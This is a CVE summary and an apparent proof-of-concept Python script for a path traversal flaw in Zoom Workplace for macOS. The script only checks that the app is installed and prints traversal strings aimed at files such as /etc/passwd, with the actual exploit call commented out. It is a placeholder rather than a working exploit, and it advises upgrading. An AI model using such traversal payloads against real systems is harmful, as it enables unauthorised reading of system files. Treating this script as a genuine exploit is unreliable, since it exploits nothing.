External control of file name or path in Zoom Workplace for macOS before version 6.5.10 may allow an authenticated user to conduct a disclosure of information via local access.
The following code is for security research and authorized testing only.
python
# CVE-2025-64738 PoC - Zoom Workplace macOS Path Traversal
# This PoC demonstrates the path traversal vulnerability in Zoom Workplace for macOS
# Note: This is for educational and authorized testing purposes only
import os
import subprocess
import sys
def check_zoom_version():
"""Check if Zoom Workplace is installed and its version"""
zoom_path = "/Applications/zoom.us.app"
if os.path.exists(zoom_path):
print(f"[+] Zoom Workplace found at: {zoom_path}")
# Version check would go here
return True
else:
print("[-] Zoom Workplace not found")
return False
def exploit_path_traversal():
"""
Simulate path traversal exploitation
In real scenario, this would interact with Zoom's file handling functionality
"""
print("[*] Attempting to exploit path traversal vulnerability...")
# Malicious path attempting to access system files
malicious_paths = [
"../../../etc/passwd",
"../../../Users/Shared/zoom_traversal.txt",
"../../../../../../../../../../../../tmp/zoom_test.txt"
]
for path in malicious_paths:
print(f"[*] Testing path: {path}")
# In actual exploitation, this would be passed to Zoom's vulnerable function
# simulated_path = zoom_vulnerable_function(path)
print("[!] This is a simulated PoC. Real exploitation requires local access to Zoom.")
print("[!] Recommendation: Upgrade to Zoom Workplace macOS version 6.5.10 or later")
def main():
print("="*60)
print("CVE-2025-64738 PoC - Zoom Workplace macOS Path Traversal")
print("="*60)
if not check_zoom_version():
sys.exit(1)
exploit_path_traversal()
print("\n[*] Mitigation: Update to Zoom Workplace macOS >= 6.5.10")
if __name__ == "__main__":
main()